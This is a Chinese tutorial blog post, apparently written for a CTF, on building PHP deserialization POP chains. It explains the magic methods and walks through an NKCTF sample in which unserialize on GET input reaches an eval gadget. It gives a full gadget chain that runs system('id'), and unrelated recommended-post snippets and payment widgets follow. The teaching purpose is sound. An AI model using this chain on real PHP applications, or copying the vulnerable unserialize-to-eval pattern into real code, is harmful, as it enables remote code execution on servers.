PHP反序列化pop链的构造

目录

一、什么是pop链:

二、与pop链有关的魔术方法:

三、pop链构造举例

以下面代码为例:

pop链分析:

总pop链为:


一、什么是pop链:

        它是一种面向属性编程,常用于构造调用链的方法。利用题目源码所给出的各个类,将各个类中原本无害的各个函数,通过构造pop链,使类及其函数有机的组合在一起,从而达到攻击的效果

二、与pop链有关的魔术方法:

__construct()  //当对象创建时触发
__destruct()   //当对象销毁时触发
__wakeup()     //当使用unserialize时触发
__sleep()     //当使用serialize时触发
__destruct()  //当对象被销毁时触发
__call()      //当对象上下文中调用不可访问的方法时触发
__get()       //当访问不可访问或不存在的属性时触发
__set()       //当设置不可访问或不存在属性时触发
__toString()  //当把类当作字符串使用时触发
__invoke()    //当对象调用为函数时触发

        其中经常用到的为_toString方法,当这个类被当做字符串处理时自动调用,比如说定义了一个a类,当a与处理字符串的函数结合时,便会调用此方法,例如 echo $a

三、pop链构造举例

以下面代码为例:

<?php
    class Welcome{
        public $name;
        public $arg = 'oww!man!!';
        public function __construct(){
            $this->name = 'ItS SO CREAZY';
        }
        public function __destruct(){
            if($this->name == 'welcome_to_NKCTF'){
                echo $this->arg;
            }
        }
    } 
    class Happy{
        public $shell;
        public $cmd;
        public function __invoke(){
            $shell = $this->shell;
            $cmd = $this->cmd;
            eval($shell($cmd));
        }
    }
    class Hell0{
        public $func;
        public function __toString(){
            $function = $this->func;
            $function();
        }
    }
echo unserialize($_GET['a']);
?>

pop链分析:

第一个类为:

class Welcome{
        public $name;
        public $arg = 'oww!man!!';
        public function __construct(){
            $this->name = 'ItS SO CREAZY';
        }
        public function __destruct(){
            if($this->name == 'welcome_to_NKCTF'){
                echo $this->arg;
            }
        }
    } 

类中的构造方法可以忽略,反序列化时不会执行,其中析构方法会在类执行结束时自动执行,通过分析可知,如果$this->name == 'welcome_to_NKCTF,便会输出arg变量,arg变量可控,可将此类作为pop链头,传入参数

第二个类为:

    class Happy{
        public $shell;
        public $cmd;
        public function __invoke(){
            $shell = $this->shell;
            $cmd = $this->cmd;
            eval($shell($cmd));
        }
    }

由_invoke方法可知,该类被当做函数执行时,会执行eval($shell($cmd)),该函数可被注入恶意代码,并且$shell和$cmd变量都可控,可将此类作为pop链终点,执行恶意代码

第三个类为:

    class Hell0{
        public $func;
        public function __toString(){
            $function = $this->func;
            $function();
        }
    }

由_toString方法可知,该类被当做字符串执行时,会执行$function()函数,并且函数名可控,可将此类作为pop链的中部,承上启下

脉络梳理:

我们可以通过Welcome类中的echo函数,将Hell0类当做字符串,从而调用Hell0中的_toString方法

代码表示为:

$a=new Welcome();
$c=new Hell0();
$a->name='welcome_to_NKCTF';
$a->arg=$c;

然后可以将Hell0类中的$function变量赋值为Happy类,从而在Hell0类被当做字符串调用时,通过_toString方法调用Happy类中的_invoke方法,从而执行恶意代码

代码表示为:

$b=new Happy();
$c=new Hell0();
$b->shell='system';
$b->cmd="id";
$c->func=$b;

总pop链为:

$a=new Welcome();
$b=new Happy();
$c=new Hell0();
$a->name='welcome_to_NKCTF';
$a->arg=$c;
$c->func=$b;
$b->shell='system';
$b->cmd="id";
echo urlencode(serialize($a));

调用过程 :Welcome::echo   ->   Hell0::_toString  -> Hell0::$function ->  Happy::_invoke

  • 4
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
C#基础类库 1.Chart图形 Assistant创建显示图像的标签和文件 OWCChart统计图的封装类 2.Cookie&Session;&Cache;缓存帮助类 CacheHelper C#操作缓存的帮助类,实现了怎么设置缓存,怎么取缓存,怎么清理缓存等方法,只需要调用方法就可以实现 CookieHelper C#操作Cookie的帮助类,添加Cookie,删除Cookie,修改Cookie,清理Cookie SessionHelper C#关于Session的操作,获取Session,设置Session,删除Session使用方便,只需要调用方法就可以了 SessionHelper2 C#关于Session的一些高级操作,比如取Session对象,取Session数据等等 3.CSV文件转换 CsvHelper CSV文件导入DataTable和DataTable导出到Csv文件等操作 4.DEncrypt 加密/解密帮助类 DEncrypt C#DEncrypt加密/DEncrypt解密帮助类 ,多种方式,可以设置Key DESEncrypt C#DESEncrypt加密/DESEncrypt解密帮助类 ,多种方式,可以设置Key Encrypt C#Encrypt--Encrypt加密/Encrypt解密/附加有MD5加密,个人感觉很不错的一个加密类 HashEncode 哈希加密帮助类,得到随机哈希加密字符串,随机哈希数字加密等 MySecurity MySecurity--Security安全加密/Security Base64/Security文件加密,以及一些常用的操作方法 RSACryption RSACryption--RSA加密/RSA解密字符串 RSA加密应用最多是银行接口,这里的方法可以直接使用哦 5.FTP操作类 FTPClient   FTPClient--FTP操作帮助类,FTP上传,FTP下载,FTP文件操作,FTP目录操作 FTPHelper FTPHelper-FTP帮助类,FTP常用操作方法,添加文件,删除文件等 FTPOperater FTP操作帮助类,方法比较多,比较实用 6.JS操作类 JsHelper JsHelper--Javascript操作帮助类,输出各种JS方法,方便不懂JS的人使用,减少代码量 7.JSON 转化类 ConvertJson List转成Json|对象转成Json|集合转成Json|DataSet转成Json|DataTable转成Json|DataReader转成Json等 8.Mime MediaTypes 电子邮件类型帮助类,规定是以Xml,HTML还是文本方式发送邮件 MimeEntity Mime实体帮助类 MimeHeaders mime的Header帮助类 MimeReader mime读取帮助类 QuotedPrintableEncoding mimeEncoding帮助类 9.PDF 转化类 PDFOperation PDFOperation--C#PDF文件操作帮助类 类主要功能有1.构造函数2.私有字段3.设置字体4.设置页面大小 5.实例化文档6.打开文档对象7.关闭打开的文档8.添加段落9.添加图片10.添加接、点 等功能 10.ResourceManager 操作类 AppMessage app消息格式化类,返加字符串帮助类 ResourceManager C#一个操作Resource的帮助类 ResourceManagerWrapper Resources 操作Resources的帮助类,使用Api的方式 Sample.xml 11.XML操作类 XmlHelper 操作Xml文档的帮助类,主要是添加,删除,修改,查询节点的操作和操作后进行保存的功能。 XMLProcess 操作Xml文档的帮助类,主要是添加,删除,修改,查询节点的操作的功能。 12.弹出消息类 MessageBox JS弹出信息帮助类 ShowMessageBox 相对于MessageBox更丰富的提示类 13.导出Excel 操作类 DataToExcel
计算机网络基础 单项选择题 1、 发送给一组特定主机的消息属于哪种类型?(3 分) A.静态 B.单播 C.动态 D.组播 E.广播 参考答案:D 2、 TCP/IP模型的哪一层最接近最终用户?(3 分) A.应用层 B.互联网层 C.网络接入层 D.传输层 参考答案:A 3、 SSH与Telnet有何不同?(3 分) A.SSH通过网络实现连接,而Telnet用于带外访问 B.SSH通过加密消息和使用用户身份验证提供远程会话安全。Telnet被认为是不安全的 ,它以明文形式发送消息 C.SSH需要使用PuTTY终端仿真程序。使用Telnet时,必须使用Tera Term连接设备 D.SSH必须通过有效网络连接配置,而Telnet用于通过控制台连接连接设备 参考答案:B 4、 BYOD如何改变企业实施网络的方式?(3 分) A.BYOD需要组织购买笔记本电脑而非台式电脑 B.每位BYOD用户负责其自己的网络安全,因此减少了对组织安全策略的需求 C.BYOD设备比组织购买的设备更昂贵 D.BYOD在用户访问网络资源的地点和方式方面提供灵活性 参考答案:D 5、 下列有关客户端-服务器网络的陈述哪项是正确的(3 分) A.该网络包含专用服务器。 B.每台设备都可以充当服务器和客户端。 C.工作站使用SAMBA或Gnutella访问网络资源。 D.每台对等设备通过访问索引服务器获取存储在被视为混合网络系统的另一对等设备中 的资源位置。 参考答案:A 6、 在数据通信行业中,开放标准为什么重要?(3 分) A.它们是设备获取Internet访问所必需的。 B.它们消除了安全漏洞的威胁 C.它们实现了来自不同供应商的软件和硬件之间的互操作性 D.它们鼓励网络组织开发专有软件来维护其竞争优势 参考答案:C 7、 哪项陈述描述了融合网络的特征?(3 分) A.将语音、视频和数据传输给各种设备的单个网络。 B.网络服务通过各种不同的网络平台传输 C.网络为每个网络服务建立不同的通信通道 D.网络为语音、视频和数据使用不同的技术 参考答案:A 8、 哪种类型的流量通过网络时最可能拥有最高优先级?(3 分) A.FTP B.即时消息 C.语音 D.SNMP 参考答案:C 9、 物理地址在OSI模型的哪一层进行封装?(3 分) A.物理层 B.数据路层 C.网络层 D.传输层 参考答案:B 10、Windows 7计算机上的一个特定网站似乎没有响应。技术人员可以使用什么命令来显示此网页的任 何缓存DNS条目?(3 分) A.ipconfig /all B.arp -a C.ipconfig /displaydns D.nslookup 参考答案:C 11、管理员想要将路由器配置文件备份到与路由器连接的USB驱动器上。管理员应当使用 哪个命令来验证路由器是否识别了USB驱动器?(3 分) A.pwd B.cd USB C.dir flash0: D.show file systems 参考答案:D 12、一位员工希望以尽可能最安全的方式远程访问公司网络。 下列哪种网络特征将允许员工获得对公司网络的安全远程访问?(3 分) A.ACL B.IPS C.VPN D.BYOD 参考答案:C 13、小型公司只有一台路由器作为其ISP的出口点。如果路由器自身或其与ISP的连接发 生故障,应该采用哪种解决方案来维持连接?(3 分) A.激活与ISP连接的另一个路由器接口,以便流量由此通过。 B.使用第二台路由器连接到另一个ISP。 C.从另一个ISP购买第二个成本最低路来连接到该路由器。 D.在与内部网络连接的路由器上增加更多接口。 参考答案:B 14、下列哪种方法被认为是缓解蠕虫攻击的最有效方法?(3 分) A.每30天更改一次系统密码。 B.确保所有系统都有最新的病毒定义。 C.确保在网络中配置AAA。 D.从操作系统供应商处下载安全更新,并为所有存在漏洞的系统应用补丁。 参考答案:D 15、下列哪种协议可用于将邮件从电子邮件服务器传输到电子邮件客户端?(3 分) A.SMTP B.POP3 C.SNMP D.HTTP 参考答案:B 16、主机地址2001:DB8:BC15:A:12AB::1/64的前缀是什么?(3 分) A.2001:DB8:BC15 B. 2001:DB8:BC15:A C.2001:DB8:BC15:A:1 D.A. 2001:DB8:BC15:A:12 参考答案:B 17、在路由器的特权EXEC模式发出cd nvram:命令,然后发出dir命令有什么作用?(3 分) A.清除NVRAM的内容 B.将所有新文件指向NVRAM C.列出NVRAM的内容 D.复制NVRAM的目录 参考答案:C 18、下列有关Cisco IOS pin

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Elitewa

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值